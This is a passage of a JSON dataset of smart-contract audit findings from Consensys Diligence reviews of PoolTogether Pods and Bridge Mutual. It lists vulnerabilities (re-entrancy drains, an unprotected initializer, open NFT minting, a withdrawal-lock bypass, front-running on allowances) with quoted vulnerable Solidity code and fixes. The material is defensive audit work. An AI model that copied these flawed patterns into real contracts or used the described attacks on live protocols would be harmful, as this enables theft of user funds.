\"Cannot deposit while prize is being awarded\" ); _; Add this modifier to the depositTo() function along with corresponding test cases. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2021/03/pooltogether-pods/"}, {"title": "3.2 Token transfers may return false ", "body": " Description There are a lot of token transfers in the code, and most of them are just calling transfer or transferFrom without checking the return value. Ideally, due to the ERC-20 token standard, these functions should always return True or False (or revert). If a token returns False, the code will process the transfer as if it succeeds. Recommendation Use the safeTransfer and the safeTransferFrom versions of transfers from OZ. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2021/03/pooltogether-pods/"}, {"title": "3.3 TokenDrop: Unprotected initialize() function ", "body": " Description The TokenDrop.initialize() function is unprotected and can be called multiple times. code/pods-v3-contracts/contracts/TokenDrop.sol:L81-L87 function initialize(address _measure, address _asset) external { measure = IERC20Upgradeable(_measure); asset = IERC20Upgradeable(_asset); // Set Factory Deployer factory = msg.sender; Recommendation Add the initializer modifier to the initialize() function and include an explicit test that every initialization function in the system can be called once and only once. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2021/03/pooltogether-pods/"}, {"title": "3.4 Pod: Re-entrancy during deposit or withdrawal can lead to stealing funds ", "body": " Description During the deposit, the token transfer is made after the Pod shares are minted: code/pods-v3-contracts/contracts/Pod.sol:L274-L281 uint256 shares = _deposit(to, tokenAmount); // Transfer Token Transfer Message Sender IERC20Upgradeable(token).transferFrom( msg.sender, address(this), tokenAmount ); That means that if the token allows re-entrancy, the attacker can deposit one more time inside the token transfer. If that happens, the second call will mint more tokens than it is supposed to, because the first token transfer will still not be finished. By doing so with big amounts, it s possible to drain the pod. Recommendation Add re-entrancy guard to the external functions. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2021/03/pooltogether-pods/"}, {"title": "3.5 TokenDrop: Re-entrancy in the claim function can cause to draining funds ", "body": " Description code/pods-v3-contracts/contracts/TokenDrop.sol:L139-L153 function claim(address user) external returns (uint256) { drop(); _captureNewTokensForUser(user); uint256 balance = userStates[user].balance; userStates[user].balance = 0; totalUnclaimed = uint256(totalUnclaimed).sub(balance).toUint112(); // Transfer asset/reward token to user asset.transfer(user, balance); // Emit Claimed emit Claimed(user, balance); return balance; Because the totalUnclaimed is already changed, but the current balance is not, the drop function will consider the funds from the unfinished transfer as the new tokens. These tokens will be virtually redistributed to everyone. After that, the transfer will still happen, and further calls of the drop() function will fail because the following line will revert: uint256 newTokens = assetTotalSupply.sub(totalUnclaimed); That also means that any transfers of the Pod token will fail because they all are calling the drop function. The TokenDrop will unfreeze only if someone transfers enough tokens to the TokenDrop contract. The severity of this issue is hard to evaluate because, at the moment, there s not a lot of tokens that allow this kind of re-entrancy. Recommendation Simply adding re-entrancy guard to the drop and the claim function won t help because the drop function is called from the claim. For that, the transfer can be moved to a separate function, and this function can have the re-entrancy guard as well as the drop function. Also, it s better to make sure that _beforeTokenTransfer will not revert to prevent the token from being frozen. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/03/pooltogether-pods/"}, {"title": "3.6 Pod: Having multiple token drops is inconsistent ", "body": " Description code/pods-v3-contracts/contracts/Pod.sol:L455-L477 function setTokenDrop(address _token, address _tokenDrop) external returns (bool) require( msg.sender == factory || msg.sender == owner(), \"Pod:unauthorized-set-token-drop\" ); // Check if target<>tokenDrop mapping exists require( drops[_token] == TokenDrop(0), \"Pod:target-tokendrop-mapping-exists\" ); // Set TokenDrop Referance drop = TokenDrop(_tokenDrop); // Set target<>tokenDrop mapping drops[_token] = drop; return true; Recommendation The mapping seems to be unused, and only one TokenDrop will normally be in the system. If that code is not used, it should be deleted. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/03/pooltogether-pods/"}, {"title": "3.7 Pod: Fees are not limited by a user during the withdrawal ", "body": " Description When withdrawing from the Pod, the shares are burned, and the deposit is removed from the Pod. If there are not enough deposit tokens in the contract, the remaining tokens are withdrawn from the pool contract: code/pods-v3-contracts/contracts/Pod.sol:L523-L532 if (amount > currentBalance) { // Calculate Withdrawl Amount uint256 _withdraw = amount.sub(currentBalance); // Withdraw from Prize Pool uint256 exitFee = _withdrawFromPool(_withdraw); // Add Exit Fee to Withdrawl Amount amount = amount.sub(exitFee); These tokens are withdrawn with a fee from the pool, which is not controlled or limited by the user. Recommendation Allow users to pass a maxFee parameter to control fees. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/03/pooltogether-pods/"}, {"title": "3.8 ProxyFactory.deployMinimal() does not check for contract creation failure ", "body": " Description The function ProxyFactory.deployMinimal() is used by both the PodFactory and the TokenDropFactory to deploy minimal proxy contracts. This function uses inline assembly to inline a target address into the minimal proxy and deploys the resulting bytecode. It then emits an event containing the resulting address and optionally makes a low-level call to the resulting address with user-provided data. The result of a create() operation in assembly will be the zero address in the event that a revert or an exceptional halting state is encountered during contract creation. If execution of the contract initialization code succeeds but returns no runtime bytecode, it is also possible for the create() operation to return a nonzero address that contains no code. code/pods-v3-contracts/contracts/external/ProxyFactory.sol:L9-L35 function deployMinimal(address _logic, bytes memory _data) public returns (address proxy) // Adapted from https://github.com/optionality/clone-factory/blob/32782f82dfc5a00d103a7e61a17a5dedbd1e8e9d/contracts/CloneFactory.sol bytes20 targetBytes = bytes20(_logic); assembly { let clone := mload(0x40) mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 mstore(add(clone, 0x14), targetBytes) mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 proxy := create(0, clone, 0x37) emit ProxyCreated(address(proxy)); if (_data.length > 0) { (bool success, ) = proxy.call(_data); require(success, \"ProxyFactory/constructor-call-failed\"); Recommendation At a minimum, add a check that the resulting proxy address is nonzero before emitting the ProxyCreated event and performing the low-level call. Consider also checking the extcodesize of the proxy address is greater than zero. Also note that the bytecode in the deployed Clone contract was not reviewed due to time constraints. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/03/pooltogether-pods/"}, {"title": "3.9 Pod.setManager() checks validity of wrong address ", "body": " Description The current check will always pass once the contract is initialized with a nonzero manager. But, the contract can currently be initialized with a manager of IPodManager(address(0)). In this case, the check would prevent the manager from ever being updated. code/pods-v3-contracts/contracts/Pod.sol:L233-L240 function setManager(IPodManager newManager) public virtual onlyOwner returns (bool) // Require Valid Address require(address(manager) != address(0), \"Pod:invalid-manager-address\"); Recommendation Change the check to: require(address(newManager) != address(0), \"Pod:invalid-manager-address\"); More generally, attempt to define validity criteria for all input values that are as strict as possible. Consider preventing zero inputs or inputs that might conflict with other addresses in the smart contract system altogether, including in contract initialization functions. 4 Recommendations ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/03/pooltogether-pods/"}, {"title": "4.1 Rename Withdrawl event to Withdrawal", "body": " Description The Pod contract contains an event Withdrawl(address, uint256, uint256): code/pods-v3-contracts/contracts/Pod.sol:L76-L79 /** @dev Emitted when user withdraws / event Withdrawl(address user, uint256 amount, uint256 shares); This appears to be a misspelling of the word Withdrawal. This is of course not a problem given it s consistent use, but could cause confusion for users or issues in future contract updates. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/03/pooltogether-pods/"}, {"title": "5.1 Anyone is able to mint NFTs by calling mintNFTsForLM ", "body": " Resolution Fixed. Not an issue, as the contract is meant to be used as a mock. Description The contract LiquidityMiningNFT has the method mintNFTsForLM. code/contracts/LiquidityMiningNFT.sol:L12-L29 function mintNFTsForLM(address _liquidiyMiningAddr) external { uint256[] memory _ids = new uint256[](NFT_TYPES_COUNT); uint256[] memory _amounts = new uint256[](NFT_TYPES_COUNT); _ids[0] = 1; _amounts[0] = 5; _ids[1] = 2; _amounts[1] = 1 * LEADERBOARD_SIZE; _ids[2] = 3; _amounts[2] = 3 * LEADERBOARD_SIZE; _ids[3] = 4; _amounts[3] = 6 * LEADERBOARD_SIZE; _mintBatch(_liquidiyMiningAddr, _ids, _amounts, \"\"); However, this contract does not have any kind of special permissions to limit who is able to mint tokens. An attacker could call LiquidityMiningNFT.mintNFTsForLM(0xhackerAddress) to mint tokens for their address and sell them on the marketplace. They are also allowed to mint as many tokens as they want by calling the method multiple times. Recommendation Add some permissions to limit only some actors to mint tokens. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.2 Liquidity providers can create deficit of DAI tokens ", "body": " Resolution Fixed by keeping all the DAI inside the PolicyBook. Description The current staking system is built in a way that a liquidity provider can stake DAIx tokens to the staking contract. By doing so, DAI tokens are getting withdrawn from the PolicyBook and there may be not enough funds to fulfill claims. Recommendation This issue requires major changes in the logic of the system. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.3 Profit and loss distribution mechanism is not working ", "body": " Resolution Fixed by updating the Description That error may also lead to the deficit of funds during withdrawals or claims. Recommendation Properly keep track of the totalLiquidity. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.4 A liquidity provider can withdraw all his funds anytime ", "body": " Resolution The funds are now locked when the withdrawal is requested, so funds cannot be transferred after the request, and this bug cannot be exploited anymore. Description Since some users provide liquidity to sell the insurance policies, it is important that these providers cannot withdraw their funds when the security breach happens and the policyholders are submitting claims. The liquidity providers can only request their funds first and withdraw them later (in a week). code/contracts/PolicyBook.sol:L358-L382 function requestWithdrawal(uint256 _tokensToWithdraw) external override { WithdrawalStatus _status = getWithdrawalStatus(msg.sender); require(_status == WithdrawalStatus.NONE || _status == WithdrawalStatus.EXPIRED, \"PB: Can't request withdrawal\"); uint256 _daiTokensToWithdraw = _tokensToWithdraw.mul(getDAIToDAIxRatio()).div(PERCENTAGE_100); uint256 _availableDaiBalance = balanceOf(msg.sender).mul(getDAIToDAIxRatio()).div(PERCENTAGE_100); if (block.timestamp < liquidityMining.getEndLMTime().add(neededTimeAfterLM)) { _availableDaiBalance = _availableDaiBalance.sub(liquidityFromLM[msg.sender]); require(totalLiquidity >= totalCoverTokens.add(_daiTokensToWithdraw), \"PB: Not enough liquidity\"); require(_availableDaiBalance >= _daiTokensToWithdraw, \"PB: Wrong announced amount\"); WithdrawalInfo memory _newWithdrawalInfo; _newWithdrawalInfo.amount = _tokensToWithdraw; _newWithdrawalInfo.readyToWithdrawDate = block.timestamp.add(withdrawalPeriod); withdrawalsInfo[msg.sender] = _newWithdrawalInfo; emit RequestWithdraw(msg.sender, _tokensToWithdraw, _newWithdrawalInfo.readyToWithdrawDate); code/contracts/PolicyBook.sol:L384-L396 function withdrawLiquidity() external override { require(getWithdrawalStatus(msg.sender) == WithdrawalStatus.READY, \"PB: Withdrawal is not ready\"); uint256 _tokensToWithdraw = withdrawalsInfo[msg.sender].amount; uint256 _daiTokensToWithdraw = _tokensToWithdraw.mul(getDAIToDAIxRatio()).div(PERCENTAGE_100); if (withdrawalQueue.length != 0 || totalLiquidity.sub(_daiTokensToWithdraw) < totalCoverTokens) { withdrawalQueue.push(msg.sender); } else { _withdrawLiquidity(msg.sender, _tokensToWithdraw); There is a restriction in requestWithdrawal that requires the liquidity provider to have enough funds at the moment of request: code/contracts/PolicyBook.sol:L371-L374 require(totalLiquidity >= totalCoverTokens.add(_daiTokensToWithdraw), \"PB: Not enough liquidity\"); require(_availableDaiBalance >= _daiTokensToWithdraw, \"PB: Wrong announced amount\"); But after the request is created, these funds can then be transferred to another address. When the request is created, the provider should wait for 7 days, and then there will be 2 days to withdraw the requested amount: code/contracts/PolicyBook.sol:L113-L114 withdrawalPeriod = 1 weeks; withdrawalExpirePeriod = 2 days; The attacker would have 4 addresses that will send the pool tokens to each other and request withdrawal of the full amount one by one every 2 days. So at least one of the addresses can withdraw all of the funds at any point in time. If the liquidity provider needs to withdraw funds immediately, he should transfer all funds to that address and execute the withdrawal. Recommendation One of the solutions would be to block the DAIx tokens from being transferred after the withdrawal request. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.5 Re-entrancy issue for ERC1155 ", "body": " Resolution Addressed by moving Description ERC1155 tokens have callback functions on some of the transfers, like safeTransferFrom, safeBatchTransferFrom. During these transfers, the IERC1155ReceiverUpgradeable(to).onERC1155Received function is called in the to address. For example, safeTransferFrom is used in the LiquidityMining contract: code/contracts/LiquidityMining.sol:L204-L224 function distributeAllNFT() external { require(block.timestamp > getEndLMTime(), \"2 weeks after liquidity mining time has not expired\"); require(!isNFTDistributed, \"NFT is already distributed\"); for (uint256 i = 0; i < leaderboard.length; i++) { address[] memory _groupLeaders = groupsLeaders[leaderboard[i]]; for (uint256 j = 0; j < _groupLeaders.length; j++) { _sendNFT(j, _groupLeaders[j]); for (uint256 i = 0; i < topUsers.length; i++) { address _currentAddress = topUsers[i]; LMNFT.safeTransferFrom(address(this), _currentAddress, 1, 1, \"\"); emit NFTSent(_currentAddress, 1); isNFTDistributed = true; During that transfer, the distributeAllNFT function can be called again and again. So multiple transfers will be done for each user. In addition to that, any receiver of the tokens can revert the transfer. If that happens, nobody will be able to receive their tokens. Recommendation Add a reentrancy guard. Avoid transferring tokens for different receivers in a single transaction. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.6 The buyPolicyFor/addLiquidityFor should transfer funds from msg.sender ", "body": " Resolution Addressed by removing the Description When calling the buyPolicyFor/addLiquidityFor functions, are called with the parameter _policyHolderAddr/_liquidityHolderAddr who is going to be the beneficiary in buying policy/adding liquidity: code/contracts/PolicyBook.sol:L183-L189 function buyPolicyFor( address _policyHolderAddr, uint256 _epochsNumber, uint256 _coverTokens ) external override { _buyPolicyFor(_policyHolderAddr, _epochsNumber, _coverTokens); code/contracts/PolicyBook.sol:L264-L266 function addLiquidityFor(address _liquidityHolderAddr, uint256 _liquidityAmount) external override { _addLiquidityFor(_liquidityHolderAddr, _liquidityAmount, false); During the execution, the funds for the policy/liquidity are transferred from the _policyHolderAddr/_liquidityHolderAddr, while it s usually expected that they should be transferred from msg.sender. Because of that, anyone can call a function on behalf of a user that gave the allowance to the PolicyBook. For example, a user(victim) wants to add some DAI to the liquidity pool and gives allowance to the PolicyBook. After that, the user should call addLiquidity, but the attacker can front-run this transaction and buy a policy on behalf of the victim instead. Also, there is a curious edge case that makes this issue Critical: _policyHolderAddr/_liquidityHolderAddr parameters can be equal to the address of the PolicyBook contract. That may lead to multiple different dangerous attack vectors. Recommendation Make sure that nobody can transfer funds on behalf of the users if it s not intended. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.7 LiquidityMining can t accept single ERC1155 tokens ", "body": " Resolution Fixed by properly implementing the Description The contract LiquidityMining is also defined as an ERC1155Receiver code/contracts/LiquidityMining.sol:L19 contract LiquidityMining is ILiquidityMining, ERC1155Receiver, Ownable { The finalized EIP-1155 standard states that a contract which acts as an EIP-1155 Receiver must implement all the functions in the ERC1155TokenReceiver interface to be able to accept transfers. These are indeed implemented here: code/contracts/LiquidityMining.sol:L502 function onERC1155Received( code/contracts/LiquidityMining.sol:L517 function onERC1155BatchReceived( The standard states that they will be called and they MUST return a specific byte4 value, otherwise the transfer will fail. However one of the methods returns an incorrect value. This seems to an error generated by a copy/paste action. code/contracts/LiquidityMining.sol:L502-L515 function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes memory data external pure override returns(bytes4) return bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\")); The value returned is equal to bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\")); But it should be bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\")). On top of this, the contract MUST implement the ERC-165 standard to correctly respond to supportsInterface. Recommendation Change the return value of onERC1155Received to be equal to 0xf23a6e61 which represents bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\")). Also, make sure to implement supportsInterface to signify support of ERC1155TokenReceiver to accept transfers. Add tests to check the functionality is correct and make sure these kinds of bugs do not exist in the future. Make sure to read the EIP-1155 and EIP-165 standards in detail and implement them correctly. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.8 DAI is assumed to have the same price as DAIx in the staking contract ", "body": " Resolution Fixed by not transferring DAI anymore. Description When a liquidity provider stakes tokens to the BMIDAIStaking contract, the equal amount of DAI and DAIx are transferred from the pool contract. code/contracts/BMIDAIStaking.sol:L113-L124 function _stakeDAIx(address _user, uint256 _amount, address _policyBookAddr) internal { require (_amount > 0, \"BMIDAIStaking: Can't stake zero tokens\"); PolicyBook _policyBook = PolicyBook(_policyBookAddr); // transfer DAI from PolicyBook to yield generator daiToken.transferFrom(_policyBookAddr, address(defiYieldGenerator), _amount); // transfer bmiDAIx from user to staking _policyBook.transferFrom(_user, address(this), _amount); _mintNFT(_user, _amount, _policyBook); Recommendation Only the corresponding amount of DAI should be transferred to the pool. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.9 _updateWithdrawalQueue can run out of gas ", "body": " Resolution The Description When there s not enough collateral to withdraw liquidity from a policy book, the withdrawal request is added to a queue. The queue is supposed to be processed and cleared once there are enough funds for that. The only way to do so is the _updateWithdrawalQueue function that is caller when new liquidity is added: code/contracts/PolicyBook.sol:L315-L338 function _updateWithdrawalQueue() internal { uint256 _availableLiquidity = totalLiquidity.sub(totalCoverTokens); uint256 _countToRemoveFromQueue; for (uint256 i = 0; i < withdrawalQueue.length; i++) { uint256 _tokensToWithdraw = withdrawalsInfo[withdrawalQueue[i]].amount; uint256 _amountInDai = _tokensToWithdraw.mul(getDAIToDAIxRatio()).div(PERCENTAGE_100); if (balanceOf(withdrawalQueue[i]) < _tokensToWithdraw) { _countToRemoveFromQueue++; continue; if (_availableLiquidity >= _amountInDai) { _withdrawLiquidity(withdrawalQueue[i], _tokensToWithdraw); _availableLiquidity = _availableLiquidity.sub(_amountInDai); _countToRemoveFromQueue++; } else { break; _removeFromQueue(_countToRemoveFromQueue); The problem is that this function can only process all queue until the pool run out of available funds or the whole queue is going to be processed. If the queue is big enough, this process can be stuck. Recommendation Pass the parameter to the _updateWithdrawalQueue that defines how many requests to process in the queue per one call. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.10 The PolicyBook should make DAI transfers inside the contract ", "body": " Resolution The Description The PolicyBook contract gives full allowance over DAI tokens to the other contracts: code/contracts/PolicyBook.sol:L120-L125 function approveAllDaiTokensForStakingAndVotingAndTransferOwnership() internal { daiToken.approve(address(bmiDaiStaking), MAX_INT); daiToken.approve(address(claimVoting), MAX_INT); transferOwnership(address(bmiDaiStaking)); That behavior is dangerous because it s hard to keep track of and control the contract s DAI balance. And it s also hard to track in the code where the balance of the PolicyBook can be changed from. Recommendation It s better to perform all the transfers inside the PolicyBook contract. So if the bmiDaiStaking and the claimVoting contracts need DAI tokens from the PolicyBook, they should call some function of the PolicyBook to perform transfers. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.11 Premium is payed instantly to the liquidity providers ", "body": " Resolution The premium is now distributed on a daily basis. Description When the policy is bought, the premium is transferred to the PolicyBook instantly. Currently, these funds are not going to the liquidity providers as a reward due to the issue 5.3. But when the issue is fixed, it seems like the premium is paid and distributed as a reward instantly when the policy is purchased. The problem is that if someone buys the policy for a long period of time, every liquidity provider instantly gets the premium from the full period. If there s enough liquidity, any provider can withdraw the funds after that without taking a risk for this period. Recommendation Distribute the premium over time. For example, increase the reward after each epoch. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.12 The totalCoverTokens is only updated when the policy is bought ", "body": " Resolution The Description The totalCoverTokens value represents the amount of collateral that needs to be locked in the policy book. It should be changed either by buying a new policy or when an old policy expires. The problem is that when the old policy expires, this value is not updated; it is only updated when someone buys a policy by calling the _updateEpochsInfo function: code/contracts/PolicyBook.sol:L240-L251 function _updateEpochsInfo() internal { uint256 _totalEpochTime = block.timestamp.sub(epochStartTime); uint256 _countOfPassedEpoch = _totalEpochTime.div(epochDuration); uint256 _lastEpochUpdate = currentEpochNumber; currentEpochNumber = _countOfPassedEpoch.add(1); for (uint256 i = _lastEpochUpdate; i < currentEpochNumber; i++) { totalCoverTokens = totalCoverTokens.sub(epochAmounts[i]); delete epochAmounts[i]; Users waiting to withdraw liquidity should wait for someone to buy the policy to update the totalCoverTokens. Recommendation Make sure it s possible to call the _updateEpochsInfo function without buying a new policy. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.13 Unbounded loops in LiquidityMining ", "body": " Resolution Fixed by adding the limits. Description There are some methods that have unbounded loops and will fail when enough items exist in the arrays. code/contracts/LiquidityMining.sol:L83 for (uint256 i = 0; i < _teamsNumber; i++) { code/contracts/LiquidityMining.sol:L97 for (uint256 i = 0; i < _membersNumber; i++) { code/contracts/LiquidityMining.sol:L110 for (uint256 i = 0; i < _usersNumber; i++) { These methods will fail when lots of items will be added to them. Recommendation Consider adding limits (from, to) when requesting the items. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.14 The _removeFromQueue is very gas greedy ", "body": " Resolution The queue structure has changed significantly and became more optimized. On the other hand, the new structure has some overhead and can be simplified to optimize more gas. Description The _removeFromQueue function is supposed to remove _countToRemove elements from the queue: code/contracts/PolicyBook.sol:L296-L313 function _removeFromQueue(uint256 _countToRemove) internal { for (uint256 i = 0; i < _countToRemove; i++) { delete withdrawalsInfo[withdrawalQueue[i]]; if (_countToRemove == withdrawalQueue.length) { delete withdrawalQueue; } else { uint256 _remainingArrLength = withdrawalQueue.length.sub(_countToRemove); address[] memory _remainingArr = new address[](_remainingArrLength); for (uint256 i = 0; i < _remainingArrLength; i++) { _remainingArr[i] = withdrawalQueue[i.add(_countToRemove)]; withdrawalQueue = _remainingArr; This function uses too much gas, which makes it easier to make attacks on the system. Even if only one request is removed and executed, this function rewrites all the requests to the storage. Recommendation The data structure should be changed so this function shouldn t rewrite the requests that did not change. For example, it can be a mapping (unit => address) with 2 indexes (start, end) that are only increasing. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.15 Withdrawal with zero amount is possible ", "body": " Resolution The Description When creating a withdrawal request, the amount of tokens to withdraw is passed as a parameter: code/contracts/PolicyBook.sol:L358 function requestWithdrawal(uint256 _tokensToWithdraw) external override { The problem is that this parameter can be zero, and the function will be successfully executed. Moreover, this request can then be added to the queue, and the actual withdrawal will also be executed with zero value. Addresses that never added any liquidity could spam the system with these requests. Recommendation Do not allow withdrawals of zero tokens. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.16 The withdrawal queue is only updated when the liquidity is added ", "body": " Resolution The queue is now updated via the Description Sometimes when the amount of liquidity is not much higher than the number of tokens locked for the collateral, it s impossible to withdraw liquidity. For a user that wants to withdraw liquidity, a withdrawal request is created. If the request can t be executed, it s added to the withdrawal queue, and the user needs to wait until there s enough collateral for withdrawal. There are potentially 2 ways to achieve that: either someone adds more liquidity or some existing policies expire. Currently, the queue can only be cleared when the internal _updateWithdrawalQueue function is called. And it is only called in one place while adding liquidity: code/contracts/PolicyBook.sol:L276-L290 function _addLiquidityFor(address _liquidityHolderAddr, uint256 _liquidityAmount, bool _isLM) internal { daiToken.transferFrom(_liquidityHolderAddr, address(this), _liquidityAmount); uint256 _amountToMint = _liquidityAmount.mul(PERCENTAGE_100).div(getDAIToDAIxRatio()); totalLiquidity = totalLiquidity.add(_liquidityAmount); _mintERC20(_liquidityHolderAddr, _amountToMint); if (_isLM) { liquidityFromLM[_liquidityHolderAddr] = liquidityFromLM[_liquidityHolderAddr].add(_liquidityAmount); _updateWithdrawalQueue(); emit AddLiquidity(_liquidityHolderAddr, _liquidityAmount, totalLiquidity); Recommendation It would be better if the queue could be processed when some policies expire without adding new liquidity. For example, there may be an external function that allows users to process the queue. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.17 Optimize gas usage when checking max length of arrays ", "body": " Description There are a few cases where some arrays have to be limited to a number of items. And the max size is enforced by removing the last item if the array reached max size + 1. code/contracts/LiquidityMining.sol:L386-L388 if (leaderboard.length == MAX_LEADERBOARD_SIZE.add(1)) { leaderboard.pop(); code/contracts/LiquidityMining.sol:L439-L441 if (topUsers.length == MAX_TOP_USERS_SIZE.add(1)) { topUsers.pop(); code/contracts/LiquidityMining.sol:L495-L497 if (_addresses.length == MAX_GROUP_LEADERS_SIZE.add(1)) { groupsLeaders[_referralLink].pop(); A simpler and cheaper way to check if an item should be removed is to change the condition to if (limitedSizedArray.length > MAX_DEFINED_SIZE_FOR_ARRAY) { limitedSizedArray.pop(); This check does not need or do a SafeMath call (which is more expensive), and because of the limited number of items, as well as a practical impossibility to add enough items to overflow the limit, makes it a preferred way to check the maximum limit. Recommendation Rewrite the checks and remove SafeMath operations, as well as the addition by 1 and change the check to a greater than verification. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.18 Methods return values that are never used ", "body": " Description When a user calls investDAI these 3 methods are called internally: code/contracts/LiquidityMining.sol:L196-L198 _updateTopUsers(); _updateLeaderboard(_userTeamInfo.teamAddr); _updateGroupLeaders(_userTeamInfo.teamAddr); Each method returns a boolean, but the value is never used. It is also unclear what the value should represent. Recommendation Remove the returned variable or use it in method investDAI. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.19 Save some gas when looping over state arrays ", "body": " Resolution Fixed by caching array state length in a local variable. Description There are a few loops over state arrays in LiquidutyMining. code/contracts/LiquidityMining.sol:L209 for (uint256 i = 0; i < leaderboard.length; i++) { code/contracts/LiquidityMining.sol:L217 for (uint256 i = 0; i < topUsers.length; i++) { Consider caching the length in a local variable to reduce gas costs. Examples Similar to code/contracts/LiquidityMining.sol:L107 uint256 _usersNumber = allUsers.length; code/contracts/LiquidityMining.sol:L110 for (uint256 i = 0; i < _usersNumber; i++) { Recommendation Reduce gas cost by caching array state length in a local variable. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.20 Optimize gas costs when handling liquidity start and end times ", "body": " Description When the LiquidityMining contract is deployed, startLiquidityMiningTime saves the current block timestamp. code/contracts/LiquidityMining.sol:L46 startLiquidityMiningTime = block.timestamp; This value is never changed. There also exists an end limit calculated by getEndLMTime. code/contracts/LiquidityMining.sol:L271-L273 function getEndLMTime() public view override returns (uint256) { return startLiquidityMiningTime.add(2 weeks); This value is also fixed, once the start was defined. None of the values change after the contract was deployed. This is why you can use the immutable feature provided by Solidity. It will reduce costs significantly. Examples contract A { uint public immutable start; uint public immutable end; constructor() { start = block.timestamp; end = block.timestamp + 2 weeks; This contract defines 2 variables: start and end and their value is fixed on deploy and cannot be changed. It does not need to use SafeMath because there s no risk of overflowing. Setting public on both variables creates getters, and calling A.start() and A.end() returns the respective values. Having set as immutable does not request EVM storage and makes them very cheap to access. Recommendation Use Solidity s immutable feature to reduce gas costs and rename variables for consistency. Use the example for inspiration. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "5.21 Computing the quote should be done for a positive amount of tokens ", "body": " Description When a policy is bought, a quote is requested from the PolicyQuote contract. code/contracts/PolicyBook.sol:L191-L195 function _buyPolicyFor( address _policyHolderAddr, uint256 _epochsNumber, uint256 _coverTokens ) internal { code/contracts/PolicyBook.sol:L213 uint256 _totalPrice = policyQuote.getQuote(_totalSeconds, _coverTokens, address(this)); The getQuote call is then forwarded to an internal function code/contracts/PolicyQuote.sol:L39-L43 function getQuote(uint256 _durationSeconds, uint256 _tokens, address _policyBookAddr) external view override returns (uint256 _daiTokens) _daiTokens = _getQuote(_durationSeconds, _tokens, _policyBookAddr); code/contracts/PolicyQuote.sol:L45-L47 function _getQuote(uint256 _durationSeconds, uint256 _tokens, address _policyBookAddr) internal view returns (uint256) There are some basic checks that make sure the total covered tokens with the requested quote do not exceed the total liquidity. On top of that check, it makes sure the total liquidity is positive. code/contracts/PolicyQuote.sol:L52-L53 require(_totalCoverTokens.add(_tokens) <= _totalLiquidity, \"PolicyBook: Requiring more than there exists\"); require(_totalLiquidity > 0, \"PolicyBook: The pool is empty\"); But there is no check for the number of quoted tokens. It should also be positive. Recommendation Add an additional check for the number of quoted tokens to be positive. The check could fail or return 0, depending on your use case. If you add a check for the number of quoted tokens to be positive, the check for _totalLiquidity to be positive becomes obsolete and can be removed. 6 Re-audit issues This section lists the issues found in the re-audit phase. The audit team, reviewed the code fixes after the initial report was delivered. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "6.1 